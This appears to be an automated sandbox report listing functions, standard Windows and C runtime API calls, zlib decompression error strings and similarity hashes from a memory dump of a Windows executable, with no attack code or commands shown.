Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction ID: 0390bb774afaf5aadfddf8d483c2a622e12849082b212feeda2442df2b802f7d
Opcode Fuzzy Hash: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction Fuzzy Hash: 86B29D73E1C2928BE7658F68D440BFD77A1FB54388F505135DB0A9BAA8DF38B9018B40

Function 00007FF6B750ACAD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid distance too far back, xrefs: 00007FF6B750B670
invalid distances set, xrefs: 00007FF6B750B1A0
invalid literal/length code, xrefs: 00007FF6B750B3E2
invalid bit length repeat, xrefs: 00007FF6B750B099
invalid code lengths set, xrefs: 00007FF6B750AE2D
invalid literal/lengths set, xrefs: 00007FF6B750B133
too many length or distance symbols, xrefs: 00007FF6B750AE46
invalid code -- missing end-of-block, xrefs: 00007FF6B750B0C6
invalid distance code, xrefs: 00007FF6B750B5B4

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 55880860ec2df9374ed9e05eb7c1f9660e2769407a38999da05ffb99d6c3dc89
Instruction ID: 1a4b141c3d6f157c2cb759e1018874ba5d70d119d35f8856e0809f4cb67f553a
Opcode Fuzzy Hash: 55880860ec2df9374ed9e05eb7c1f9660e2769407a38999da05ffb99d6c3dc89
Instruction Fuzzy Hash: DD52B373A1C6A64BE7A48F18D498B7E3BAAFB44344F054139E78A87790DF39D944CB40

Function 00007FF6B750D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6B750D148
RtlCaptureContext.KERNEL32 ref: 00007FF6B750D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6B750D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6B750D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF6B750D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6B750D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6B750D24C

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: a34d1c2bd872d6ac2a92cb46ed2bb1fcc56650d32559f5c199ae5cbcbeb2ab7c
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 4231FA73609B8586EB609F64E8807AE6374FB84748F44403ADB4E87BA9EF79D548C710

Function 00007FF6B7525C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6B7525C45

Part of subcall function 00007FF6B7525598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75255AC

Part of subcall function 00007FF6B751A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A95E
Part of subcall function 00007FF6B751A948: GetLastError.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A968

Part of subcall function 00007FF6B751A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6B751A8DF,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751A909
Part of subcall function 00007FF6B751A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6B751A8DF,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751A92E

_get_daylight.LIBCMT ref: 00007FF6B7525C34

Part of subcall function 00007FF6B75255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B752560C

_get_daylight.LIBCMT ref: 00007FF6B7525EAA
_get_daylight.LIBCMT ref: 00007FF6B7525EBB
_get_daylight.LIBCMT ref: 00007FF6B7525ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6B752610C), ref: 00007FF6B7525EF3

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: 95f0c04069e4de3d30322c73e55e1f1e83f292b0eeba1eaea1bfc8591df2b883
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: B1D1AE37F1C25286E7209F2AD8811B96761EF84794F448136EB4EC7AB5EF3CE8518740

Function 00007FF6B751A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6B751A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6B751A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6B751A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF6B751A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6B751A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6B751A72E

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: 6b311e013661d88019044c8d22ac4984071de2e1b38d022f686d164072ab9c7d
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 52313D3761CB8186DB608F29E8402AE73A4FB88758F540139EB9D83BA5EF38D555CB00

Function 00007FF6B7521874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75218C0
FindFirstFileExW.KERNEL32 ref: 00007FF6B75219CA

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: e0dc1134c1ede4e01cd5a65e05e741f536f6f00a3cfd438340bcb22d5fea85c2
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: 8CB1B423B1C69241EA61DF2A99002BA63A1EF44BE4F545131EF5D9BBE5EF3CE841C300

Function 00007FF6B7525E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6B7525EAA

Part of subcall function 00007FF6B75255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B752560C

_get_daylight.LIBCMT ref: 00007FF6B7525EBB

Part of subcall function 00007FF6B7525598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75255AC

_get_daylight.LIBCMT ref: 00007FF6B7525ECC

Part of subcall function 00007FF6B75255C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75255DC

Part of subcall function 00007FF6B751A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A95E
Part of subcall function 00007FF6B751A948: GetLastError.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6B752610C), ref: 00007FF6B7525EF3

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: c97ae06fdf2f689c01fc93bfbba8d2e3fb59e61bf1d702adbaa5a3a2cea08dfb
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: FC514C33A1C64286E720DF29D8815B97761FB88794F414136EB4EC7AB6DF3CE4518740

Function 00007FF6B750D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6B750D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF6B750D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF6B750D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF6B750D066

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: cf0a4ed76acf0aa4311c429a08e1263f8d6a44b67f07f7297b7b6e0ae947c764
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: 83111822B18B058AEB008B64E8542B933B4FB59758F440E35DB6D867B4EF7CD1A48340

Function 00007FF6B7523C10 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF6B7523C76
memcpy_s.LIBCPMT ref: 00007FF6B7523CA1

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 601a0e4293ab647a45b9383ee527b1c981a714c36bc16888c8880a96185d4792
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 02C1C273B1C68687EB24CF19A08466AB7A1F794B84F448139DB4A87754DF3DF845CB40

Function 00007FF6B750A474 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6B750A55B
unknown header flags set, xrefs: 00007FF6B750A4C5
header crc mismatch, xrefs: 00007FF6B750A921

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: fcf6ea83c7a46010d3591867e81b0f53761d3f113121264a3729654d2d1b513f
Instruction ID: f328cc24e92a5a2d30199ea6942a91f25cef5fa3d795294d50fc0d8a211be7e3
Opcode Fuzzy Hash: fcf6ea83c7a46010d3591867e81b0f53761d3f113121264a3729654d2d1b513f
Instruction Fuzzy Hash: 99F15C73A1C3D58BE7A58B198488B3A7BA9FF44748F064538DB49977A0DF38E941CB40

Function 00007FF6B7529728 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF6B7529977
RaiseException.KERNEL32 ref: 00007FF6B7529988

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction ID: 7be3d53748a90afa59bccd96d0c371f9e6a621f93462c424d6e0a1c09e6cf082
Opcode Fuzzy Hash: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction Fuzzy Hash: CBB14A77A08B898AEB59CF2DC8463687BA0F784B58F198925DB9D837B4CF39D451C700

Function 00007FF6B75139A4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6B7513B12
, xrefs: 00007FF6B7513D54

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction ID: 7f31bcc0609cb379b250bf68ddde32083ede4d60108d503b314ebf606df551d2
Opcode Fuzzy Hash: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction Fuzzy Hash: 50E17F73A0C66686EB68CF2D816017D37A0FF45B8AF245235DB4E87AB4DF29E851C740

Function 00007FF6B750A2DB Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF6B750A442
incorrect header check, xrefs: 00007FF6B750A45B

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 7e7bac63e97a7e962ac1d8bc37368dc0e110af78d4507200a91f80e7c7b94e68
Instruction ID: 5ac1a15439891cae0778529dfff3911d9fa9c2efe121f4448197dc16084a152e
Opcode Fuzzy Hash: 7e7bac63e97a7e962ac1d8bc37368dc0e110af78d4507200a91f80e7c7b94e68
Instruction Fuzzy Hash: D6916373A1C28687E7A58F19D488B7E3BA9FF44758F114539DB4A867A0DF38E940CB40

Function 00007FF6B751DEF0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF6B751DFFD
gfff, xrefs: 00007FF6B751E07A

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction ID: c416b752f3b6ba1d36005adc792a06cf1498ee20d550fb5d55672b8d4a456a48
Opcode Fuzzy Hash: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction Fuzzy Hash: 63517563B1C3E58AE7258F399840769AB91E744B95F488231CBAC8BEE5CF3DE5418700

Function 00007FF6B75208C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 237fa8d459c5d11eae1bba494416b753c006fbba9c027a8b8839988129060696
Instruction ID: 41295089d012d37e45d9ee7b464c6e8af0754aded8b55fc5e68db4bf1b8b5abe
Opcode Fuzzy Hash: 237fa8d459c5d11eae1bba494416b753c006fbba9c027a8b8839988129060696
Instruction Fuzzy Hash: 3802B123B1E65741FAA6AF2D98042796A90AF41BA0F554634DF5DC77F2DF3CE8818320

Function 00007FF6B751DA5C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF6B751DD9E

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 9a53bdf5786a7c1bb0496357ac4d1eeed5f9cab0b44b1e31eb83a52c986e913e
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 25A146A3A0C7DA86EB21CF29A4407AA7B91AB51B84F048131DF8D87BA5DE7DE401D700

Function 00007FF6B7518794 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF6B75187B3

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction ID: 384179bcda47d4a224e19fba5025d8bd2c885c9ac374e6f5ccc7cc8bacda8a0b
Opcode Fuzzy Hash: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction Fuzzy Hash: 43516813F0C62251FA75AF2E59015BA5290AF44BE6F584835DF1EE7FA6EE3CF4428200

Function 00007FF6B7523480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6B7523484

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
